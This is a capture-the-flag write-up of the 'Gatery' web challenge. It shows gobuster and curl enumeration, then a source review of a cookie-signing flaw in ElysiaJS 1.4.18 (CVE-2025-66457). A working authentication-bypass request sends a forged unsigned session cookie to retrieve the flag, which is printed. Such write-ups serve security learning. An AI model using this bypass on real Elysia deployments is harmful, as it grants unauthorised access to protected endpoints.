Introduction:

Lysa Harrowmere reaches Crownspire with proof that a trusted castle informant is selling patrol routes to the enemy. The information is being used to ambush messengers, delay supplies, and keep Stormbound’s allies divided. The only person who can act on the proof is inside the castle for a closed council, but Lysa’s name has been removed from the entry list and the guards have orders to admit no unscheduled visitors. If she waits, the council ends and the traitor disappears with the next route packet. If she speaks openly at the gate, the proof is seized before it reaches the right hands. Lysa must trick the guarded passage, get inside, and place the evidence with the one ally who can expose the leak before the enemy moves again.

Description:

The gate’s guards were enforcing a signed session cookie to keep out unscheduled visitors, but ElysiaJS 1.4.18 (CVE-2025-66457) never actually verified that signature, a logic bug left its “valid” flag permanently true. Handing the gate a forged, unsigned session=inside cookie was enough to bypass the checkpoint entirely.


NOTE: This was my first challenge in CA2026, and I was a bit eager to get my first flag, so within a few hours I turned from black-boxing to source code analysis.

Reconnaissance & Enumeration:

 1┌─[ballademageren@parrot][~/jutlandia/HTB_CA2026]  
 2└──╼ $whatweb 154.57.164.68:30995  
 3http://154.57.164.68:30995 [200 OK] Country[UNITED STATES][US], HTML5, HTTPServer[nginx/1.28.3], IP[154.57.164.68], Script[module], Title[Gatery], nginx[1.28.3]  
 4┌─[ballademageren@parrot][~/jutlandia/HTB_CA2026]  
 5└──╼ $
 6
 7┌─[ballademageren@parrot][~/jutlandia/HTB_CA2026]  
 8└──╼ $gobuster dir -u http://154.57.164.68:30995/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt  
 9===============================================================  
10Gobuster v3.6  
11by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)  
12===============================================================  
13[+] Url:                     http://154.57.164.68:30995/  
14[+] Method:                  GET  
15[+] Threads:                 10  
16[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt  
17[+] Negative Status codes:   404  
18[+] User Agent:              gobuster/3.6  
19[+] Timeout:                 10s  
20===============================================================  
21Starting gobuster in directory enumeration mode  
22===============================================================  
23  
24Error: the server returns a status code that matches the provided options for non existing urls. http://154.57.164.68:30995/8adf8b57-2e02-49db-8a36-06c9c2b8eb97 => 200 (Length: 374). To continue please exclude  
25the status code or the length
26  
27┌─[][ballademageren@parrot][~/jutlandia/HTB_CA2026]  
28└──╼ $gobuster dir -u http://154.57.164.68:30995/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --exclude-length 374  
29===============================================================  
30Gobuster v3.6  
31by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)  
32===============================================================  
33[+] Url:                     http://154.57.164.68:30995/  
34[+] Method:                  GET  
35[+] Threads:                 10  
36[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt  
37[+] Negative Status codes:   404  
38[+] Exclude Length:          374  
39[+] User Agent:              gobuster/3.6  
40[+] Timeout:                 10s  
41===============================================================  
42Starting gobuster in directory enumeration mode  
43===============================================================  
44/assets               (Status: 301) [Size: 169] [--> http://154.57.164.68/assets/]  
45/api                  (Status: 301) [Size: 169] [--> http://154.57.164.68/api/]  
46Progress: 62281 / 62282 (100.00%)  
47===============================================================  
48Finished  
49===============================================================  
50┌─[ballademageren@parrot][~/jutlandia/HTB_CA2026]  
51└──╼ $
52
53┌─[ballademageren@parrot][~/jutlandia/HTB_CA2026]  
54└──╼ $gobuster dir -u http://154.57.164.68:30995/assets/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --exclude-length 374  
55===============================================================  
56Gobuster v3.6  
57by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)  
58===============================================================  
59[+] Url:                     http://154.57.164.68:30995/assets/  
60[+] Method:                  GET  
61[+] Threads:                 10  
62[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt  
63[+] Negative Status codes:   404  
64[+] Exclude Length:          374  
65[+] User Agent:              gobuster/3.6  
66[+] Timeout:                 10s  
67===============================================================  
68Starting gobuster in directory enumeration mode  
69===============================================================  
70/css                  (Status: 301) [Size: 169] [--> http://154.57.164.68/assets/css/]  
71/js                   (Status: 301) [Size: 169] [--> http://154.57.164.68/assets/js/]  
72/img                  (Status: 301) [Size: 169] [--> http://154.57.164.68/assets/img/]  
73Progress: 62281 / 62282 (100.00%)  
74===============================================================  
75Finished  
76===============================================================  
77┌─[ballademageren@parrot][~/jutlandia/HTB_CA2026]  
78└──╼ $

Fire up Burp and start fingerprinting: gatery-login

Found /api/me and /api/login. I also tried to test for some basic sql injection but without luck.


Switched to interacting with curl.

 1┌─[ballademageren@parrot][~/jutlandia/HTB_CA2026]  
 2└──╼ $curl -i http://154.57.164.68:30995/  
 3HTTP/1.1 200 OK  
 4Server: nginx/1.28.3  
 5Date: Fri, 24 Jul 2026 13:43:11 GMT  
 6Content-Type: text/html  
 7Content-Length: 374  
 8Last-Modified: Thu, 16 Jul 2026 13:04:44 GMT  
 9Connection: keep-alive  
10ETag: "6a58d6ec-176"  
11Accept-Ranges: bytes  
12  
13<!doctype html>  
14<html lang="en">  
15<head>  
16 <meta charset="UTF-8">  
17 <meta name="viewport" content="width=device-width, initial-scale=1.0">  
18 <title>Gatery</title>  
19 <script type="module" crossorigin src="/assets/js/index-BcDa1MFc.js"></script>  
20 <link rel="stylesheet" crossorigin href="/assets/css/index-D_RIeR81.css">  
21</head>  
22<body>  
23 <div id="root"></div>  
24</body>  
25</html>  
26┌─[ballademageren@parrot][~/jutlandia/HTB_CA2026]  
27└──╼ $
28
29┌─[ballademageren@parrot][~/jutlandia/HTB_CA2026]  
30└──╼ $curl -i http://154.57.164.68:30995/api/me  
31HTTP/1.1 401 Unauthorized  
32Server: nginx/1.28.3  
33Date: Fri, 24 Jul 2026 13:53:27 GMT  
34Content-Type: application/json  
35Content-Length: 23  
36Connection: keep-alive  
37
38{"authenticated":false}
39
40┌─[ballademageren@parrot][~/jutlandia/HTB_CA2026]  
41└──╼ $  
42
43┌─[ballademageren@parrot][~/jutlandia/HTB_CA2026]  
44└──╼ $curl -i http://154.57.164.68:30995/api/login  
45HTTP/1.1 404 Not Found  
46Server: nginx/1.28.3  
47Date: Fri, 24 Jul 2026 13:53:47 GMT  
48Content-Type: text/plain;charset=utf-8  
49Content-Length: 9  
50Connection: keep-alive  
51  
52NOT_FOUND
53
54┌─[ballademageren@parrot][~/jutlandia/HTB_CA2026]  
55└──╼ $

Lets look at the source code instead of black-boxing.

 1┌─[ballademageren@parrot][~/jutlandia/HTB_CA2026]  
 2└──╼ $unzip Gatery.zip  
 3Archive:  Gatery.zip  
 4  creating: challenge/  
 5  creating: challenge/app/  
 6 inflating: challenge/app/package.json  
 7 inflating: challenge/app/index.ts  
 8 inflating: challenge/app/vite.config.ts  
 9  creating: challenge/app/client/  
10 inflating: challenge/app/client/index.html  
11  creating: challenge/app/client/public/  
12  creating: challenge/app/client/public/assets/  
13  creating: challenge/app/client/public/assets/css/  
14extracting: challenge/app/client/public/assets/css/.gitkeep  
15  creating: challenge/app/client/public/assets/js/  
16extracting: challenge/app/client/public/assets/js/.gitkeep  
17  creating: challenge/app/client/public/assets/img/  
18 inflating: challenge/app/client/public/assets/img/gate-guardian-spritesheet.png 
19 inflating: challenge/app/client/public/assets/img/medieval-castle-loop.mp3  
20 inflating: challenge/app/client/public/assets/img/castle-gate-closed.png  
21 inflating: challenge/app/client/public/assets/img/castle-gate-open.png  
22 inflating: challenge/app/client/public/assets/img/castle-interior-background.png  
23 inflating: challenge/app/client/public/assets/img/town-npcs-spritesheet.png  
24 inflating: challenge/app/client/public/assets/img/player-lyra-spritesheet.png  
25  creating: challenge/app/client/src/  
26 inflating: challenge/app/client/src/styles.css  
27 inflating: challenge/app/client/src/main.jsx  
28 inflating: challenge/app/client/src/App.jsx  
29  creating: challenge/config/  
30 inflating: challenge/config/supervisord.conf  
31 inflating: challenge/config/nginx.conf  
32 inflating: challenge/Dockerfile  
33extracting: challenge/flag.txt  
34extracting: challenge/.gitignore  
35 inflating: challenge/docker-compose.yml
36 

In the package.json we see it runs with Elysia 1.4.18:

1"dependencies": {
2    "bcryptjs": "2.4.3",
3    "elysia": "1.4.18"
4  }

Exploit Elysia 1.4.18:

Elysia 1.4.18 has a CVE-2025-66457 vulnerability.


In index.ts we find the following:

1const app = new Elysia({
2  cookie: {
3    secrets: [sessionSecret],
4    sign: [sessionCookie]
5  }
6})

secrets is given as a array and session cookies needs to be signed.


When the secrets is given in a loop, the let decoded = true is set before the signature is checked. The loop that try to verify the signature never changes the decode back to false if the secret doesn’t match. This results in the “if (!decoded) throw InvalidCookieSignature” never being trigger if i craft a unsigned cookie value. It will be accepted even without knowing the sessionSecret.


If we look some more in the index.ts file we find the /api/flag:

 1.post('/api/flag', ({ cookie: { session }, set }) => {
 2    if (!session.value) {
 3      set.status = 401
 4      return { ok: false, message: 'Login required' }
 5    }
 6
 7    if (session.value !== 'inside') {
 8      set.status = 403
 9      return { ok: false, message: 'Enter the castle first' }
10    }
11
12    return { ok: true, flag }
13  })

It only validates session.value and because the cookie verification is broken i should be able to send a unsigned cookie with the value inside and get a positive response back.


Lets try it:

 1┌─[ballademageren@parrot][~/jutlandia/HTB_CA2026]  
 2└──╼ $curl -i -X POST http://154.57.164.68:30995/api/flag \  
 3 -H "Cookie: session=inside"  
 4HTTP/1.1 200 OK  
 5Server: nginx/1.28.3  
 6Date: Fri, 24 Jul 2026 14:36:22 GMT  
 7Content-Type: application/json  
 8Content-Length: 82  
 9Connection: keep-alive  
10  
11{"ok":true,"flag":"HTB{w3lc0me_b3y0nd_th3_g4t3_d1387a5d19bb6e79d4dc274e7babdbbf}"}
12
13┌─[ballademageren@parrot][~/jutlandia/HTB_CA2026]  
14└──╼ $

Booom!

Completion:

gatery-completion